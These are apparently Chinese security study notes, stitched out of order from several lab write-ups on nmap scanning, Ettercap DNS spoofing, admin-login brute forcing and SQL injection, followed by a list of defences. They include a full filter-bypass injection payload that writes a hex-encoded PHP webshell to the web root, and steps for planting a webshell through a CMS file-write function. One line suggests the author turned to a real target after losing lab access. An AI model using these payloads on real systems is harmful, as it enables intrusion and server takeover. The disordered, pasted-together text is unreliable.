添加一条A记录,将 www.baidu.com 指向到本机IP
所有这个题考的是burp的使用能力。
那上个靶场:

通常扫端口和目录

发现可疑目录,访问可疑目录:

任意文件下载

进入后台管理

随便输入用户名和密码,登录并bp抓包。
明文传输低危
稍微在用户名aaa后面加了一个'

看来存在SQL注入的问题。
使用绕过限制写入文件的注入代码:
将抓包发送到repeater,修改user的值。点击go。

报错,注入失败。
看看www.zip是什么

进行分析
查看源码发现’<’和’>’被做了过滤。

尝试url编码绕过。

报错,url编码绕过失败。
使用16进制绕过,将一句话木马进行16进制编码
将一句话木马修改为16进制,同时前面加上0x,这种方法也可以用在sql注入传参时引号被限制的情况的绕过注入代码:
%27 un union ion selselectect 1,2,3,4,0x3c3f70687020406576616c28245f504f53545b27636d64275d293b203f3e in into outoutfilefile '/var/www/html/shell.php';%00

返回后台登录页面从新抓包。然后发送到repeater,并修改user值,点击go。
蚁剑链接。

根目录下发现flag
DNS即Domain Name System 的缩写,域名系统以分布式数据库的形式将域名和IP地址相互映射。DNS协议即域名解析协议,简单的说:DNS是用来解析域名的。有了DNS我们就不用再记住烦人的IP地址,用相对好记的域名就可以对服务器进行访问,即使服务器更换了IP地址,我们依旧可以通过域名访问该服务器,这样能够使我们更方便的访问互联网。
尽管DNS在互联网中扮演着如此重要的角色,但是在设计DNS协议时,设计者没有考虑到一些安全问题,导致了DNS的安全隐患与缺陷。
DNS欺骗就是利用了DNS协议设计时的一个非常严重的安全缺陷。
首先欺骗者向目标机器发送构造好的ARP应答数据包(关于ARP欺骗请看文章《中间人攻击——ARP欺骗的原理、实战及防御 》),ARP欺骗成功后,嗅探到对方发出的DNS请求数据包,分析数据包取得ID和端口号后,向目标发送自己构造好的一个DNS返回包,对方收到DNS应答包后,发现ID和端口号全部正确,即把返回数据包中的域名和对应的IP地址保存进DNS缓存表中,而后来的当真实的DNS应答包返回时则被丢弃。
同ARP欺骗一样,DNS欺骗也可以被称为DNS毒化,属于中间人攻击,我还是用虚拟机来模拟DNS欺骗攻击
用到的工具是Ettercap
首先来看目标靶机,

很明显现在www.baidu.com指向到的IP地址是正确的,
接着我们用ettercap来进行DNS欺骗,首先找到etter.dns这个配置文件并且编辑

添加一条A记录,将 www.baidu.com 指向到本机IP

保存并且退出,使用ettercap开始欺骗:

接着我们在到受到攻击的主机上看一下:
可以看到,目标主机对域名www.baidu.com的访问已经被指向到192.168.1.59
在浏览器中访问该域名便访问到事先搭建好的一台WEB服务器

nmap是一个用于网络探测和安全/端口扫描的工具,全称Network Mapper(网络映射器),主要用来快速扫描大型网络,提供目标主机的各类信息,如:目标机的服务类型及状态、端口号、操作系统等信息。
nmap语法格式:nmap [<扫描类型>…] [<选项>] {<扫描目标说明>}
nmap识别6种端口状态:open(开放的), closed(关闭的),filtered(被过滤的), unfiltered(未被过滤的), open|filtered(开放或者被过滤的),或者 closed|filtered(关闭或者被过滤的)。
nmap -sS 10.20.156.120


再查看查看端口对应的服务器的版本信息
nmap -sV --allports 10.20.156.120

可以通过版本信息来找到响应的漏洞
笑死,进不来学校的虚拟环境,那我就来真的。谁怕谁呀,大不了来真的。


burp
抓包重放回,多次放回并尝试改用户名和密码。

但都是提示的用户名和密码错误。
说明验证码是有问题的存在逻辑漏洞,可以尝试爆破或绕过。
而且21232f297a57a5a743894a0e4a801fc3是明显的MD5加密
尝试爆破

等着去吧 ,我用的字典库不大

下面是靶场操作,安全点

很明显的看到usualtoolcms
去网站上查找usualtoolcms的源码

下载可以看到

找到其后台登录地址。cmsadmin/a_login.php

然后去靶场,去找到后台

尝试常用弱口令进入,发现账号和密码不存在
使用Burp来进行抓包分析


在验证码不改变的前提下,更改密码可以进行重发操作,且页面发回都是账户和密码不匹配
那就可以进行爆破了
爆破出admin账户的密码为root

成功登录到其后台
进入后台后发现没有什么可以利用的点
那就对找到的源码进行代码审计
找到了a_templetex.php中的file_put_content()函数。
并且是接受post传参
(1)这里file_put_contents()是写文件
(2)函数里面的$filenames是文件名,$contents是文件内容
(3)上面看到传给的都是POST传参
(4)那么我们只要在检测sqlcheck的get传参x=m条件成立下
(5)在$filenames里面传个文件名,在$contents里面传个一句话木马那我们是不是就可以拿到shell了
首先需要访问a_templetex.php存不存在

burp抓包,修改为POST传参,添加?x=m,下面写文件名filename,还有文件内容content写入php一句话木马

l连接成功

恶意用户在提交查询请求的过程中将SQL语句插入到请求内容中,同时程序本身对用户输入内容过分信任而未对恶意用户插入的SQL语句进行过滤,导致SQL语句直接被服务端执行。
(1)注入点的不同分类:
数字类型的注入
字符串类型的注入
(2)提交方式的不同分类
GET注入
POST注入
COOKIE注入
HTTP注入
(3)获取信息的方式不同分类
基于布尔的盲注
基于时间的盲注
基于报错的注入
三.SQL注入攻击防御方法
1.定制黑名单: 将常用的SQL注入字符写入到黑名单中,然后通过程序对用户提交的POST、GET请求以及请求中的各个字段都进行过滤查,筛选威胁字符。
2.限制查询长度: 由于SQL注入过程中需要构造较长的SQL语句,因此,一些特定的程序可以使用限制用户提交的请求内容的长度来达到防御SQL注入的目的,但这种效果并不好。
3.限制查询类型:限制用户请求内容中每个字段的类型,并在用户提交请求的时候进行检查,工凡不符合该类型的提交就认为是非法请求。
4.白名单法: 该方法只对部分程序有效,对一些请求内容相对固定的程序,可以制定请求内容的白名单,如: 某程序接受的请求只有数字,且数字为1至100,这样可以检查程序接受的请求内容是否匹配,如果不匹配,则认为是非法请求。
5.设置数据库权限: 根据程序要求为特定的表设置特定的权限,如:某段程序对某表只需具备select权限即可,这样即使程序存在问题,恶意用户也无法对表进行update或insert等写入操作。
6. 限制目录权限: WEB目录应至少遵循 “可写目录不可执行,可执行目录不可写” 的原则,在次基础上,对各目录进行必要的权限细化。较安全的WEB站点应根据程序本身的功能实现,利用上面的某几种或全部方法,方可达到安全的目的。